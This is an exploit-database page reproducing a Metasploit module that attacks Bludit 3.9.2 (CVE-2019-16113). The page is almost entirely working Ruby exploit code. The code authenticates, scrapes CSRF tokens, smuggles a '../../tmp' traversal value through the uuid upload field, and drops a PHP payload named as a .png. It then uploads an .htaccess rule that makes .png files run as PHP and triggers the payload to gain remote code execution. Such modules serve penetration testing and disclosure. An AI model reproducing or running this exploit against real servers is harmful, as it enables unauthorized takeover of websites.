Bludit Directory Traversal Image File Upload

2019.11.13
Credit: sinn3r
Risk: High
Local: No
Remote: Yes
CVE: N/A

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::PhpEXE include Msf::Exploit::FileDropper include Msf::Auxiliary::Report def initialize(info={}) super(update_info(info, 'Name' => "Bludit Directory Traversal Image File Upload Vulnerability", 'Description' => %q{ This module exploits a vulnerability in Bludit. A remote user could abuse the uuid parameter in the image upload feature in order to save a malicious payload anywhere onto the server, and then use a custom .htaccess file to bypass the file extension check to finally get remote code execution. }, 'License' => MSF_LICENSE, 'Author' => [ 'christasa', # Original discovery 'sinn3r' # Metasploit module ], 'References' => [ ['CVE', '2019-16113'], ['URL', 'https://github.com/bludit/bludit/issues/1081'], ['URL', 'https://github.com/bludit/bludit/commit/a9640ff6b5f2c0fa770ad7758daf24fec6fbf3f5#diff-6f5ea518e6fc98fb4c16830bbf9f5dac' ] ], 'Platform' => 'php', 'Arch' => ARCH_PHP, 'Notes' => { 'SideEffects' => [ IOC_IN_LOGS ], 'Reliability' => [ REPEATABLE_SESSION ], 'Stability' => [ CRASH_SAFE ] }, 'Targets' => [ [ 'Bludit v3.9.2', {} ] ], 'Privileged' => false, 'DisclosureDate' => "2019-09-07", 'DefaultTarget' => 0)) register_options( [ OptString.new('TARGETURI', [true, 'The base path for Bludit', '/']), OptString.new('BLUDITUSER', [true, 'The username for Bludit']), OptString.new('BLUDITPASS', [true, 'The password for Bludit']) ]) end class PhpPayload attr_reader :payload attr_reader :name def initialize(p) @payload = p @name = "#{Rex::Text.rand_text_alpha(10)}.png" end end class LoginBadge attr_reader :username attr_reader :password attr_accessor :csrf_token attr_accessor :bludit_key def initialize(user, pass, token, key) @username = user @password = pass @csrf_token = token @bludit_key = key end end def check res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'index.php') }) unless res vprint_error('Connection timed out') return CheckCode::Unknown end html = res.get_html_document generator_tag = html.at('meta[@name="generator"]') unless generator_tag vprint_error('No generator metadata tag found in HTML') return CheckCode::Safe end content_attr = generator_tag.attributes['content'] unless content_attr vprint_error("No content attribute found in metadata tag") return CheckCode::Safe end if content_attr.value == 'Bludit' return CheckCode::Detected end CheckCode::Safe end def get_uuid(login_badge) print_status('Retrieving UUID...') res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'admin', 'new-content', 'index.php'), 'cookie' => "BLUDIT-KEY=#{login_badge.bludit_key};" }) unless res fail_with(Failure::Unknown, 'Connection timed out') end html = res.get_html_document uuid_element = html.at('input[@name="uuid"]') unless uuid_element fail_with(Failure::Unknown, 'No UUID found in admin/new-content/') end uuid_val = uuid_element.attributes['value'] unless uuid_val && uuid_val.respond_to?(:value) fail_with(Failure::Unknown, 'No UUID value') end uuid_val.value end def upload_file(login_badge, uuid, content, fname) print_status("Uploading #{fname}...") data = Rex::MIME::Message.new data.add_part(content, 'image/png', nil, "form-data; name=\"images[]\"; filename=\"#{fname}\"") data.add_part(uuid, nil, nil, 'form-data; name="uuid"') data.add_part(login_badge.csrf_token, nil, nil, 'form-data; name="tokenCSRF"') res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'admin', 'ajax', 'upload-images'), 'ctype' => "multipart/form-data; boundary=#{data.bound}", 'cookie' => "BLUDIT-KEY=#{login_badge.bludit_key};", 'headers' => {'X-Requested-With' => 'XMLHttpRequest'}, 'data' => data.to_s }) unless res fail_with(Failure::Unknown, 'Connection timed out') end end def upload_php_payload_and_exec(login_badge) # From: /var/www/html/bludit/bl-content/uploads/pages/5821e70ef1a8309cb835ccc9cec0fb35/ # To: /var/www/html/bludit/bl-content/tmp uuid = get_uuid(login_badge) php_payload = get_php_payload upload_file(login_badge, '../../tmp', php_payload.payload, php_payload.name) # On the vuln app, this line occurs first: # Filesystem::mv($_FILES['images']['tmp_name'][$uuid], PATH_TMP.$filename); # Even though there is a file extension check, it won't really stop us # from uploading the .htaccess file. htaccess = <<~HTA RewriteEngine off AddType application/x-httpd-php .png HTA upload_file(login_badge, uuid, htaccess, ".htaccess") register_file_for_cleanup('.htaccess') print_status("Executing #{php_payload.name}...") send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'bl-content', 'tmp', php_payload.name) }) end def get_php_payload @php_payload ||= PhpPayload.new(get_write_exec_payload(unlink_self: true)) end def get_login_badge(res) cookies = res.get_cookies bludit_key = cookies.scan(/BLUDIT\-KEY=(.+);/i).flatten.first || '' html = res.get_html_document csrf_element = html.at('input[@name="tokenCSRF"]') unless csrf_element fail_with(Failure::Unknown, 'No tokenCSRF found') end csrf_val = csrf_element.attributes['value'] unless csrf_val && csrf_val.respond_to?(:value) fail_with(Failure::Unknown, 'No tokenCSRF value') end LoginBadge.new(datastore['BLUDITUSER'], datastore['BLUDITPASS'], csrf_val.value, bludit_key) end def do_login res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'admin', 'index.php') }) unless res fail_with(Failure::Unknown, 'Connection timed out') end login_badge = get_login_badge(res) res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'admin', 'index.php'), 'cookie' => "BLUDIT-KEY=#{login_badge.bludit_key};", 'vars_post' => { 'tokenCSRF' => login_badge.csrf_token, 'username' => login_badge.username, 'password' => login_badge.password } }) unless res fail_with(Failure::Unknown, 'Connection timed out') end # A new csrf value is generated, need to update this for the upload if res.headers['Location'].to_s.include?('/admin/dashboard') store_valid_credential(user: login_badge.username, private: login_badge.password) res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'admin', 'dashboard', 'index.php'), 'cookie' => "BLUDIT-KEY=#{login_badge.bludit_key};", }) unless res fail_with(Failure::Unknown, 'Connection timed out') end new_csrf = res.body.scan(/var tokenCSRF = "(.+)";/).flatten.first login_badge.csrf_token = new_csrf if new_csrf return login_badge end fail_with(Failure::NoAccess, 'Authentication failed') end def exploit login_badge = do_login print_good("Logged in as: #{login_badge.username}") upload_php_payload_and_exec(login_badge) end end


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top